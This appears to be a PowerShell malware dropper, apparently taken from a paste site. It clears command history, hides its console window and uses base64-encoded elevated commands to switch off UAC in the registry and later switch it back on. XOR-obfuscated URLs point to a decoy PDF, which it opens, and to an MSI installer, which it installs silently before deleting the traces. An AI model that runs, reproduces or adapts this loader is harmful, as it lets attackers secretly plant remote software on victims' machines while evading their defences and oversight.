# ── Preferences and Execution Policy ──────────────────────────
$ErrorActionPreference = "SilentlyContinue"
$WarningPreference = "SilentlyContinue"
$VerbosePreference = "SilentlyContinue"
$ProgressPreference = "SilentlyContinue"
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
Set-PSReadLineOption -HistorySaveStyle SaveNothing
Clear-History
Clear-Content (Get-PSReadLineOption).HistorySavePath
# ── Security Protocol Configuration ──────────────────────────
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13
# ── P/Invoke Declarations ──────────────────────────
Add-Type -Name Window -Namespace Console -MemberDefinition @'
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);
'@ -ErrorAction SilentlyContinue
$proc = Start-Process powershell.exe -Verb RunAs -WindowStyle Hidden -Wait -PassThru -ArgumentList '-NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAnADsAdAByAHkAewBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABwACAALQBOAGEAbQBlACAARQBuAGEAYgBsAGUATABVAEEAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAOwBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABwACAALQBOAGEAbQBlACAAQwBvAG4AcwBlAG4AdABQAHIAbwBtAHAAdABCAGUAaABhAHYAaQBvAHIAQQBkAG0AaQBuACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcAAgAC0ATgBhAG0AZQAgAFAAcgBvAG0AcAB0AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAZQB4AGkAdAAgADEAMgB9AGMAYQB0AGMAaAB7AGUAeABpAHQAIAAwAH0A'
if ($proc.ExitCode -ne 12) {
exit 0
}
# ── File Removal with Fallback ──────────────────────────
function Remove-FileWithFallback {
param(
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[string]$Path
)
if (-not [System.IO.File]::Exists($Path)) {
return $false
}
try {
[System.IO.File]::Delete($Path)
return $true
}
catch {
try {
$directory = [System.IO.Path]::GetDirectoryName($Path)
$name = [System.IO.Path]::GetFileNameWithoutExtension($Path)
$extension = [System.IO.Path]::GetExtension($Path)
$counter = 1
while ($true) {
$newPath = [System.IO.Path]::Combine(
$directory,
"$name($counter)$extension"
)
if (-not [System.IO.File]::Exists($newPath)) {
break
}
$counter++
}
[System.IO.File]::Move($Path, $newPath, $false)
return $true
}
catch {
return $false
}
}
}
# ── Web Content Download ──────────────────────────
# ── Web Content Download (FAST — BITS + Parallel HttpClient) ──────────
function Invoke-SecureDownload {
param(
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[string]$Uri,
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[string]$OutFile,
[int]$MaxRetries = 3,
[int]$RetryDelayMs = 800,
[int]$ParallelChunks = 8
)
# Method 1: BITS (Background Intelligent Transfer Service) — fastest
try {
Import-Module BitsTransfer -ErrorAction Stop
Start-BitsTransfer -Source $Uri -Destination $OutFile -TransferType Download `
-Priority Foreground -ErrorAction Stop -Description "Downloading"
if ([System.IO.File]::Exists($OutFile) -and (Get-Item $OutFile).Length -gt 0) {
return $true
}
} catch { }
# Method 2: Parallel chunked download with HttpClient (Range requests)
$attempt = 0
while ($attempt -lt $MaxRetries) {
try {
Add-Type -AssemblyName System.Net.Http -ErrorAction SilentlyContinue
# Probe for size and Range support
$probeClient = New-Object System.Net.Http.HttpClient
$probeClient.Timeout = [TimeSpan]::FromSeconds(30)
$probeClient.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0")
$probeClient.DefaultRequestHeaders.Range = New-Object System.Net.Http.Headers.RangeHeaderValue(0, 0)
$probeResp = $probeClient.SendAsync(
(New-Object System.Net.Http.HttpRequestMessage("GET", $Uri)),
[System.Net.Http.HttpCompletionOption]::ResponseHeadersRead
).GetAwaiter().GetResult()
$supportsRange = ($probeResp.StatusCode -eq [System.Net.HttpStatusCode]::PartialContent)
$totalSize = $null
if ($supportsRange -and $probeResp.Content.Headers.ContentRange) {
$totalSize = $probeResp.Content.Headers.ContentRange.Length
} elseif ($probeResp.Content.Headers.ContentLength) {
$totalSize = $probeResp.Content.Headers.ContentLength
}
$probeResp.Dispose()
$probeClient.Dispose()
if ($supportsRange -and $totalSize -and $totalSize -gt 1MB) {
# Chunked parallel download
$chunkSize = [Math]::Ceiling($totalSize / $ParallelChunks)
$tempFiles = @()
$jobs = @()
for ($i = 0; $i -lt $ParallelChunks; $i++) {
$start = [long]($i * $chunkSize)
if ($start -ge $totalSize) { break }
$end = [long][Math]::Min($start + $chunkSize - 1, $totalSize - 1)
$partPath = "$OutFile.part$i"
$tempFiles += $partPath
$startByte = $start
$endByte = $end
$uriCopy = $Uri
$partCopy = $partPath
$jobs += Start-Job -ScriptBlock {
param($u, $s, $e, $p)
Add-Type -AssemblyName System.Net.Http
$c = New-Object System.Net.Http.HttpClient
$c.Timeout = [TimeSpan]::FromSeconds(300)
$c.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0")
$c.DefaultRequestHeaders.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($s, $e)
$resp = $c.GetAsync($u, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult()
$resp.EnsureSuccessStatusCode() | Out-Null
$inStream = $resp.Content.ReadAsStreamAsync().GetAwaiter().GetResult()
$outStream = [System.IO.File]::Create($p)
try {
$buf = New-Object byte[] (1MB)
while (($r = $inStream.Read($buf, 0, $buf.Length)) -gt 0) {
$outStream.Write($buf, 0, $r)
}
} finally {
$outStream.Close()
$inStream.Close()
$c.Dispose()
}
} -ArgumentList $uriCopy, $startByte, $endByte, $partCopy
}
$jobs | Wait-Job | Out-Null
$jobs | Receive-Job | Out-Null
$jobs | Remove-Job -Force
# Merge chunks
$mergeStream = [System.IO.File]::Create($OutFile)
try {
foreach ($p in $tempFiles) {
$fs = [System.IO.File]::OpenRead($p)
try { $fs.CopyTo($mergeStream) } finally { $fs.Close() }
[System.IO.File]::Delete($p)
}
} finally {
$mergeStream.Close()
}
return $true
} else {
# Single-stream HttpClient (still faster than WebRequest)
$client = New-Object System.Net.Http.HttpClient
$client.Timeout = [TimeSpan]::FromSeconds(120)
$client.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0")
$resp = $client.GetAsync($Uri, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult()
$resp.EnsureSuccessStatusCode() | Out-Null
$inStream = $resp.Content.ReadAsStreamAsync().GetAwaiter().GetResult()
$outStream = [System.IO.File]::Create($OutFile)
try {
$buf = New-Object byte[] (1MB)
while (($r = $inStream.Read($buf, 0, $buf.Length)) -gt 0) {
$outStream.Write($buf, 0, $r)
}
} finally {
$outStream.Close()
$inStream.Close()
$client.Dispose()
}
return $true
}
}
catch {
$attempt++
if ($attempt -lt $MaxRetries) {
Start-Sleep -Milliseconds $RetryDelayMs
}
}
}
# Fallback to WebClient
try {
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0")
$wc.DownloadFile($Uri, $OutFile)
return $true
} catch { return $false }
}
# ── Hide Console Window ──────────────────────────
function Hide-ConsoleWindow {
try {
$ConsoleWin = [Console.Window]::GetConsoleWindow()
if ($ConsoleWin -ne [IntPtr]::Zero) {
[Console.Window]::ShowWindow($ConsoleWin, 0) | Out-Null
}
}
catch {
}
}
# ── Primary Deployment Function ──────────────────────────
function RUN_ME {
param(
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[string]$Name,
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[string]$FdpUR,
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[string]$GGInstaSllerUR
)
Hide-ConsoleWindow
$CurrentDir = (Get-Location).Path
$FpdPath = Join-Path $CurrentDir ($Name + ".pdf")
$LnkPath = Join-Path $CurrentDir ($Name + ".lnk")
Remove-FileWithFallback -Path $LnkPath | Out-Null
Remove-FileWithFallback -Path $FpdPath | Out-Null
if (Invoke-SecureDownload -Uri $FdpUR -OutFile $FpdPath) {
try {
Start-Process $FpdPath -ErrorAction SilentlyContinue
}
catch {
}
}
$USSInstSSaller = [System.Uri]$GGInstaSllerUR
$InstallerExt = [System.IO.Path]::GetExtension($USSInstSSaller.AbsolutePath)
if ([string]::IsNullOrWhiteSpace($InstallerExt)) {
$InstallerExt = ".exe"
}
$RandomFileName = [System.IO.Path]::GetRandomFileName()
$RandomFileName = [System.IO.Path]::ChangeExtension($RandomFileName, $InstallerExt)
$InstallerPath = [System.IO.Path]::Combine($env:TEMP, $RandomFileName)
$InstallerLogPath = [System.IO.Path]::ChangeExtension($InstallerPath, "log")
if (-not (Invoke-SecureDownload -Uri $GGInstaSllerUR -OutFile $InstallerPath)) {
return $false
}
try {
Unblock-File -Path $InstallerPath -ErrorAction SilentlyContinue
}
catch {
}
$Arguments = "/i `"$InstallerPath`" /qn /norestart /l `"$InstallerLogPath`""
try {
$Process = Start-Process -FilePath "msiexec.exe" -ArgumentList $Arguments -Verb RunAs -Wait -PassThru
$ExitCode = $Process.ExitCode
}
catch {
return $false
}
Start-Sleep -Milliseconds 500
Remove-FileWithFallback -Path $InstallerPath | Out-Null
Remove-FileWithFallback -Path $InstallerLogPath | Out-Null
return ($ExitCode -eq 0)
}
$ClientName = $($k7585=202;$b=[byte[]](0x9a,0xb8,0xa5,0xa0,0xaf,0xa9,0xbe,0x95,0x86,0xab,0xb3,0xa5,0xbf,0xbe);-join($b|%{[char]($_-bxor$k7585)}))
$DocumentLINK = $($k4445=201;$b=[byte[]](0xa1,0xbd,0xbd,0xb9,0xba,0xf3,0xe6,0xe6,0xbb,0xa8,0xbe,0xe7,0xae,0xa0,0xbd,0xa1,0xbc,0xab,0xbc,0xba,0xac,0xbb,0xaa,0xa6,0xa7,0xbd,0xac,0xa7,0xbd,0xe7,0xaa,0xa6,0xa4,0xe6,0xa8,0xa5,0xac,0xa8,0xa4,0xa0,0xac,0xa8,0xbe,0xe6,0xbd,0xac,0xba,0xbd,0xe6,0xbb,0xac,0xaf,0xba,0xe6,0xa1,0xac,0xa8,0xad,0xba,0xe6,0xa4,0xa8,0xa0,0xa7,0xe6,0x99,0xbb,0xa6,0xa3,0xac,0xaa,0xbd,0x96,0x85,0xa8,0xb0,0xa6,0xbc,0xbd,0xe7,0xb9,0xad,0xaf);-join($b|%{[char]($_-bxor$k4445)}))
$ClientLINK = $($k1276=214;$b=[byte[]](0xbe,0xa2,0xa2,0xa6,0xa5,0xec,0xf9,0xf9,0xa5,0xbe,0xb9,0xa6,0xba,0xbf,0xa2,0xa2,0xba,0xb3,0xf8,0xa5,0xb5,0xa4,0xb3,0xb3,0xb8,0xb5,0xb9,0xb8,0xb8,0xb3,0xb5,0xa2,0xf8,0xb5,0xb9,0xbb,0xf9,0x94,0xbf,0xb8,0xf9,0x85,0xb5,0xa4,0xb3,0xb3,0xb8,0x95,0xb9,0xb8,0xb8,0xb3,0xb5,0xa2,0xf8,0x95,0xba,0xbf,0xb3,0xb8,0xa2,0x85,0xb3,0xa2,0xa3,0xa6,0xf8,0xbb,0xa5,0xbf,0xe9,0xb3,0xeb,0x97,0xb5,0xb5,0xb3,0xa5,0xa5,0xf0,0xaf,0xeb,0x91,0xa3,0xb3,0xa5,0xa2,0xf0,0xb5,0xeb,0x98,0xb3,0xa1,0xb7,0xb2,0xb9,0xb4,0xb3,0xa6,0xb0,0xb2,0xa6,0xa4,0xb9,0xbc,0xb3,0xb5,0xa2,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb);-join($b|%{[char]($_-bxor$k1276)}))
RUN_ME -Name $ClientName -FdpUR $DocumentLINK -GGInstaSllerUR $ClientLINK
Start-Process powershell.exe -Verb RunAs -WindowStyle Hidden -ArgumentList '-NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAnADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcAAgAC0ATgBhAG0AZQAgAEUAbgBhAGIAbABlAEwAVQBBACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcAAgAC0ATgBhAG0AZQAgAEMAbwBuAHMAZQBuAHQAUAByAG8AbQBwAHQAQgBlAGgAYQB2AGkAbwByAEEAZABtAGkAbgAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAANQA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIABQAHIAbwBtAHAAdABPAG4AUwBlAGMAdQByAGUARABlAHMAawB0AG8AcAAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMQA7AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7ACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAAUwBoAGUAbABsACAAewAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHMAaABlAGwAbAAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABTAEgAQwBoAGEAbgBnAGUATgBvAHQAaQBmAHkAIABpAG4AdAAgAHcARQB2AGUAbgB0AEkAZAAsAHUAaQBuAHQAIAB1AEYAbABhAGcAcwAsAEkAbgB0AFAAdAByACAAZAB3AEkAdABlAG0AMQAsAEkAbgB0AFAAdAByACAAZAB3AEkAdABlAG0AMgApADsAIAB9ACcAOwBbAFMAaABlAGwAbABdADoAOgBTAEgAQwBoAGEAbgBnAGUATgBvAHQAaQBmAHkAKAAwAHgAMAA4ADAAMAAwADAAMAAwACwAMAB4ADAAMAAwADUALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8AKQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA4ADAAMAA7AFsAUwBoAGUAbABsAF0AOgA6AFMASABDAGgAYQBuAGcAZQBOAG8AdABpAGYAeQAoADAAeAAwADgAMAAwADAAMAAwADAALAAwAHgAMAAwADAANQAsAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwAsAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApADsA'7 views